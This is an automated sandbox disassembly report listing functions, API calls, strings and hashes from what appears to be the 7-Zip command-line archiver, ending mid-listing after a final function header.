String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
API String ID: 2822829076-727241755
Opcode ID: 76881a621ad82756a4bf301af10dc41923f0376f2db4c6d33a7aae10c23e2ed1
Instruction ID: df8feac7cd5e9a24746a3975ba9331e63f5ad7d93ba51dc103bd3cdb22c05636
Opcode Fuzzy Hash: 76881a621ad82756a4bf301af10dc41923f0376f2db4c6d33a7aae10c23e2ed1
Instruction Fuzzy Hash: 8B224A72309AC195CA34EB25E9913EEB3A0F796B80F44C126EB9E47B19DF38C555C702

Function 00A5A180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00A5A1BF
GetProcAddress.KERNEL32 ref: 00A5A1D2
GetProcAddress.KERNEL32 ref: 00A5A1F5
GetProcAddress.KERNEL32 ref: 00A5A21E

Strings

GetIsArc, xrefs: 00A5A1C8
GetHandlerProperty, xrefs: 00A5A214
GetNumberOfFormats, xrefs: 00A5A1EB
GetHandlerProperty2, xrefs: 00A5A1B5

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: AddressProc
String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
API String ID: 190572456-3984264347
Opcode ID: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction ID: db90317428f45abf05ab9e36a785c7e905ef8c432b77cf2a2d9343eb09831479
Opcode Fuzzy Hash: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction Fuzzy Hash: 44D16472319AC086CA20EB21F94079EB7A4F7D6781F505611EE8E97B19DF7CC549CB01

Function 00A370C8 Relevance: 40.7, APIs: 27, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A37D4C: GetFileAttributesW.KERNELBASE ref: 00A37D6E
Part of subcall function 00A37D4C: GetFileAttributesW.KERNEL32 ref: 00A37DA5
Part of subcall function 00A37D4C: free.MSVCRT ref: 00A37DB2

free.MSVCRT ref: 00A373F6

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction ID: 2f626c5ab4ff605152987774e14021e602c37ce2a0226ac4bd4a16590e7cdf7b
Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction Fuzzy Hash: 2881657321C58182CE30EF61EA517AFA321FBC5784F545222FB8E87A69DF28D949D740

Function 00A3F71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A31610: free.MSVCRT ref: 00A31682
Part of subcall function 00A31610: free.MSVCRT ref: 00A3168A
Part of subcall function 00A31610: free.MSVCRT ref: 00A316C4

_CxxThrowException.MSVCRT ref: 00A3F76E
_isatty.MSVCRT ref: 00A3F77E
_isatty.MSVCRT ref: 00A3F796
_isatty.MSVCRT ref: 00A3F7AE
_CxxThrowException.MSVCRT ref: 00A3F8E0
wcscmp.MSVCRT ref: 00A3F96F
_CxxThrowException.MSVCRT ref: 00A3F9AE
_CxxThrowException.MSVCRT ref: 00A3FA6F
GetCurrentProcess.KERNEL32 ref: 00A3FA77
SetProcessAffinityMask.KERNEL32 ref: 00A3FA83
free.MSVCRT ref: 00A3FA8F

Strings

Unsupported switch postfix -stm, xrefs: 00A3FA52
SeCreateSymbolicLinkPrivilege, xrefs: 00A3F92A
Unsupported switch postfix for -slp, xrefs: 00A3F991
Unsupported switch postfix -bb, xrefs: 00A3F8C3
SeRestorePrivilege, xrefs: 00A3F91C
SeLockMemoryPrivilege, xrefs: 00A3F9CB

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
API String ID: 1961088698-2328792591
Opcode ID: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
Instruction ID: 43b3ca62dcc4eafe8e7c90a3a1c2bff5296495cb4fdd981e6cd019e58a7e8082
Opcode Fuzzy Hash: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
Instruction Fuzzy Hash: A0A18D73B18BC49ADB11DF25E8903AC7B20E796B94F988076EB8C47725DF28C985C701

Function 00A7A448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00A7A477

Part of subcall function 00A326A0: fputs.MSVCRT ref: 00A326C1

fputs.MSVCRT ref: 00A7A4C1
free.MSVCRT ref: 00A7A52B
free.MSVCRT ref: 00A7A533
free.MSVCRT ref: 00A7A545
free.MSVCRT ref: 00A7A57A
free.MSVCRT ref: 00A7A582
free.MSVCRT ref: 00A7A594
_CxxThrowException.MSVCRT ref: 00A7A5E1
free.MSVCRT ref: 00A7A5EF
free.MSVCRT ref: 00A7A61C
free.MSVCRT ref: 00A7A62E

Part of subcall function 00A32300: fputc.MSVCRT ref: 00A32311

Strings

Warnings: , xrefs: 00A7A470
Errors: , xrefs: 00A7A4BA

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$fputs$ExceptionThrowfputc
String ID: Errors: $Warnings:
API String ID: 437615013-2345102087
Opcode ID: b879da1ccfc066a1247b5c29666ac93705d06d21a2897076d20723f3459c7b25
Instruction ID: ecb8271676b39f0464dc98dde7e397481a1118baeed427428c277f5807a968df
Opcode Fuzzy Hash: b879da1ccfc066a1247b5c29666ac93705d06d21a2897076d20723f3459c7b25
Instruction Fuzzy Hash: 8651A872315AC091C930EB25FE913AEA361F7D2790F54C212EA9E17B59DF38C4868702

Function 00A583C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A38624: free.MSVCRT ref: 00A386A9

free.MSVCRT ref: 00A58493
free.MSVCRT ref: 00A584A7
free.MSVCRT ref: 00A584B8
free.MSVCRT ref: 00A58503
free.MSVCRT ref: 00A5850E

Part of subcall function 00A386DC: free.MSVCRT ref: 00A38761

free.MSVCRT ref: 00A5854D
free.MSVCRT ref: 00A58558
free.MSVCRT ref: 00A58590
free.MSVCRT ref: 00A5859B

Part of subcall function 00A58290: free.MSVCRT ref: 00A5832B
Part of subcall function 00A58290: free.MSVCRT ref: 00A58336

free.MSVCRT ref: 00A585D0
free.MSVCRT ref: 00A585DB
free.MSVCRT ref: 00A585EA
free.MSVCRT ref: 00A58602

Part of subcall function 00A33314: memmove.MSVCRT ref: 00A33339

Strings

7z.dll, xrefs: 00A583F0
Formats, xrefs: 00A5844E
Codecs, xrefs: 00A5841F
Path64, xrefs: 00A584D6, 00A58520
Path, xrefs: 00A5856A, 00A585AA

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 7z.dll$Codecs$Formats$Path$Path64
API String ID: 1534225298-3804457719
Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction ID: ee8471fd3863f2c6d29752ed407011c7f31de03220b53f8ce8a6c5c376b13126
Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction Fuzzy Hash: C951A272209A4590DE20EF15EA513AE6720EBC27E5F545222BE5E577B9CF3CC68EC700

Function 00A5AB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00A5ABC9
free.MSVCRT ref: 00A5ACF3
free.MSVCRT ref: 00A5ACFE
free.MSVCRT ref: 00A5AD95
memmove.MSVCRT(?), ref: 00A5ADCB
free.MSVCRT ref: 00A5AE70
free.MSVCRT ref: 00A5AF7F

Part of subcall function 00A594A8: free.MSVCRT ref: 00A594DB
Part of subcall function 00A594A8: free.MSVCRT ref: 00A594E3
Part of subcall function 00A594A8: free.MSVCRT ref: 00A594F0
Part of subcall function 00A594A8: free.MSVCRT ref: 00A5951C
Part of subcall function 00A594A8: free.MSVCRT ref: 00A59525
Part of subcall function 00A594A8: free.MSVCRT ref: 00A5952D
Part of subcall function 00A594A8: free.MSVCRT ref: 00A5953A

free.MSVCRT ref: 00A5AEC2

Part of subcall function 00A3339C: free.MSVCRT ref: 00A333D7
Part of subcall function 00A3339C: memmove.MSVCRT(00000000,?,?,00000000,00A310A8), ref: 00A333F2

Part of subcall function 00A5A9FC: free.MSVCRT ref: 00A5AA95
Part of subcall function 00A5A9FC: free.MSVCRT ref: 00A5AAC5
Part of subcall function 00A5A9FC: free.MSVCRT ref: 00A5AAD2

free.MSVCRT ref: 00A5AEFA
GetProcAddress.KERNEL32 ref: 00A5AF4D

Strings

Codecs\, xrefs: 00A5AE99
7z.dll, xrefs: 00A5AE3C, 00A5AE89
Formats\, xrefs: 00A5AED1
SetCodecs, xrefs: 00A5AF43

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$memmove$AddressProc
String ID: 7z.dll$Codecs\$Formats\$SetCodecs
API String ID: 4053071709-2499791885
Opcode ID: 8408131b45c12e29ab25c2e406772a01b5634e2fefe50597f9c143b7cfa8c1f7
Instruction ID: 6d08117c95c54ec08c53a8fc5972f2dcdb482580c02b722ff6e4eb48137c1be4
Opcode Fuzzy Hash: 8408131b45c12e29ab25c2e406772a01b5634e2fefe50597f9c143b7cfa8c1f7
Instruction Fuzzy Hash: 81B17D76318A8096CB20EB21E6903AFB760F395799F544212EF8E47B25DF78C96DC701

Function 00A71850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00A71877
fputs.MSVCRT ref: 00A7190A
LeaveCriticalSection.KERNEL32 ref: 00A71A44

Part of subcall function 00A7B1C8: memset.MSVCRT ref: 00A7B20D
Part of subcall function 00A7B1C8: fputs.MSVCRT ref: 00A7B232

fputs.MSVCRT ref: 00A7194D

Part of subcall function 00A326A0: fputs.MSVCRT ref: 00A326C1

fputs.MSVCRT ref: 00A719CB
fputs.MSVCRT ref: 00A719EA
LeaveCriticalSection.KERNEL32 ref: 00A71A51

Part of subcall function 00A32300: fputc.MSVCRT ref: 00A32311

free.MSVCRT ref: 00A71A14

Strings

Can't allocate required memory!, xrefs: 00A719E3
Everything is Ok, xrefs: 00A71903
Sub items Errors: , xrefs: 00A71946
p, xrefs: 00A719A4
ERROR: , xrefs: 00A719C4

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
API String ID: 676172275-580504279
Opcode ID: bc88cfa74a48e71b2a3b1c96f7bb5f7f406cfe66436ff89ac4e6136bfa2ff71f
Instruction ID: fb6687eeaa2c55c04a7efd89f08d8d96b8f15fa3907b17c7e57863f06114e319
Opcode Fuzzy Hash: bc88cfa74a48e71b2a3b1c96f7bb5f7f406cfe66436ff89ac4e6136bfa2ff71f
Instruction Fuzzy Hash: 02516C72305A81A6DB19DB29DEA03ED6360FB45B90F44C222DB2E0B650DF38D8A5C301

Function 00A538E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A5373C: free.MSVCRT ref: 00A537FB

memmove.MSVCRT ref: 00A5396F
free.MSVCRT ref: 00A53986
free.MSVCRT ref: 00A53A11
_CxxThrowException.MSVCRT ref: 00A53A5F
free.MSVCRT ref: 00A53AD3

Part of subcall function 00A53864: free.MSVCRT ref: 00A53877
Part of subcall function 00A53864: free.MSVCRT ref: 00A53892
Part of subcall function 00A53864: free.MSVCRT ref: 00A5389B
Part of subcall function 00A53864: free.MSVCRT ref: 00A538C6
Part of subcall function 00A53864: free.MSVCRT ref: 00A538CE

Strings

Duplicate archive path:, xrefs: 00A53C07
Cannot find archive, xrefs: 00A53A42

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID: Cannot find archive$Duplicate archive path:
API String ID: 3934437811-2067063536
Opcode ID: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction ID: 62f0fc4a5d56a56e85787340f6fb929fe3e797f5a4003efaab141227bfc5a5a3
Opcode Fuzzy Hash: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction Fuzzy Hash: C4A14073715A8492CE20EB16E99065EB3A1F7C5BD1F505612EF8E47B29DF38C94ACB00

Function 00A642A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.MSVCRT ref: 00A64324
free.MSVCRT ref: 00A6441A
free.MSVCRT ref: 00A64425

Strings

, xrefs: 00A64466

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-3916222277
Opcode ID: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction ID: 72250fdbd8d0724b2699814f6bad74899c89c4cdd441ccb2053f072a276bca94
Opcode Fuzzy Hash: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction Fuzzy Hash: 73D12C37209BC496CA21DB25E59029EBB70F7CAB84F545116EB8E47B29DF78C589CB00

Function 00A591E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00A59205
GetProcAddress.KERNEL32 ref: 00A59219
GetProcAddress.KERNEL32 ref: 00A5922D
GetProcAddress.KERNEL32 ref: 00A59257
memmove.MSVCRT ref: 00A592F0
GetProcAddress.KERNEL32 ref: 00A5931C

Strings

GetHashers, xrefs: 00A59315
CreateEncoder, xrefs: 00A5920E
GetNumberOfMethods, xrefs: 00A59245
GetMethodProperty, xrefs: 00A59222
CreateDecoder, xrefs: 00A591FB

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: AddressProc$memmove
String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
API String ID: 2879976980-73314117
Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction ID: 4b0c5e0ba56bdc64029bb5c61c59367d0fe3a83851c82f36fcb2bfeb6b06f823
Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction Fuzzy Hash: 61414872315A41C6DF20DF25E88039EB361F785795F50412AEA8E4B754DF78CA49C700

Function 00A71BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00A71CF9

Part of subcall function 00A7B1C8: memset.MSVCRT ref: 00A7B20D
Part of subcall function 00A7B1C8: fputs.MSVCRT ref: 00A7B232

Part of subcall function 00A32300: fputc.MSVCRT ref: 00A32311

fputs.MSVCRT ref: 00A71DEE
fputs.MSVCRT ref: 00A71F07
fputs.MSVCRT ref: 00A71F5C

Part of subcall function 00A7171C: fputs.MSVCRT ref: 00A71744
Part of subcall function 00A7171C: fputs.MSVCRT ref: 00A71758
Part of subcall function 00A7171C: free.MSVCRT ref: 00A7176B

Part of subcall function 00A36618: FormatMessageW.KERNEL32 ref: 00A36676
Part of subcall function 00A36618: LocalFree.KERNEL32 ref: 00A36698

Part of subcall function 00A32320: free.MSVCRT ref: 00A3237E
Part of subcall function 00A32320: fputs.MSVCRT ref: 00A323B8
Part of subcall function 00A32320: free.MSVCRT ref: 00A323C4

free.MSVCRT ref: 00A71F86

Strings

ERRORS:, xrefs: 00A71CBF, 00A71CF2
ERROR: , xrefs: 00A71F00
WARNINGS:, xrefs: 00A71DB4, 00A71DE7
Can't allocate required memory, xrefs: 00A71F55

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: fputs$free$FormatFreeLocalMessagefputcmemset
String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
API String ID: 2553544393-24972044
Opcode ID: c8fab687c64268b82cb3662449b661246a7da8ff8f53bbd6509775a5cb297495
Instruction ID: 74659d45cb9126627a58320bbeb486d28fcd2e33f7941d29e2b6f89182cb29d5
Opcode Fuzzy Hash: c8fab687c64268b82cb3662449b661246a7da8ff8f53bbd6509775a5cb297495
Instruction Fuzzy Hash: 37A15E763046859ACA39EF75DA903EEB360F745B84F48C126EF5E0B611DF68D8A4C311

Function 00A7949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00A794EE
_CxxThrowException.MSVCRT ref: 00A7A5E1
free.MSVCRT ref: 00A7A5EF
free.MSVCRT ref: 00A7A61C
free.MSVCRT ref: 00A7A62E
free.MSVCRT ref: 00A7A696
free.MSVCRT ref: 00A7A69E
free.MSVCRT ref: 00A7A6B0

Strings

Decoding ERROR, xrefs: 00A794E7

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs
String ID: Decoding ERROR
API String ID: 117389134-2585761706
Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction ID: 78c8ab7a33d824f029142bdcfd4950ccf27e63f2061e7d0cd4e52df47a4a8c29
Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction Fuzzy Hash: AC31C472315AC191CA30EB25EE803AEA361F7D2790F54D622DA5E57758DF38C885C702

Function 00A5A7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00A36464: FreeLibrary.KERNELBASE(?,?,?,00A364E7), ref: 00A36475

Part of subcall function 00A33404: free.MSVCRT ref: 00A33431
Part of subcall function 00A33404: memmove.MSVCRT ref: 00A3344C

GetProcAddress.KERNEL32 ref: 00A5A8CA
GetProcAddress.KERNEL32 ref: 00A5A8E8
GetProcAddress.KERNEL32 ref: 00A5A908
free.MSVCRT ref: 00A5A985
free.MSVCRT ref: 00A5A996

Strings

CreateObject, xrefs: 00A5A8FD
SetLargePageMode, xrefs: 00A5A8BF
SetCaseSensitive, xrefs: 00A5A8DD

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: AddressProcfree$FreeLibrarymemmove
String ID: CreateObject$SetCaseSensitive$SetLargePageMode
API String ID: 852969883-606380122
Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction ID: ed40d732da4411d5b6a37304339d0ece704b8238e6fbcdea3d169d2e20ddaca9
Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction Fuzzy Hash: EB419036300B409ADF20DF26E85076AA360FB95B95F088620DF9A47765EF38C98AC351

Function 00A7B480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00A7B723
fputs.MSVCRT ref: 00A7B743

Part of subcall function 00A338C8: memmove.MSVCRT(00A3A0E5), ref: 00A33907

Part of subcall function 00A33A64: memmove.MSVCRT ref: 00A33AAA

GetTickCount.KERNEL32 ref: 00A7B49E

Part of subcall function 00A33404: free.MSVCRT ref: 00A33431
Part of subcall function 00A33404: memmove.MSVCRT ref: 00A3344C

strcmp.MSVCRT ref: 00A7B4E3
wcscmp.MSVCRT ref: 00A7B502
strcmp.MSVCRT ref: 00A7B568

Strings

. , xrefs: 00A7B6AC

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: memmovestrcmp$CountTickfputsfreewcscmp
String ID: .
API String ID: 591578422-4150638102
Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction ID: e2041c201a71b17f5258df269d5a7dc902b3c634236c1992f7e6f2749a480de1
Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction Fuzzy Hash: 61A127B7710685ABCA29DF2ADA9035DB361F794784F80C016EB5E47A11DF34E8B6C710

Function 00A59D98 Relevance: 12.1, APIs: 8, Instructions: 134COMMON

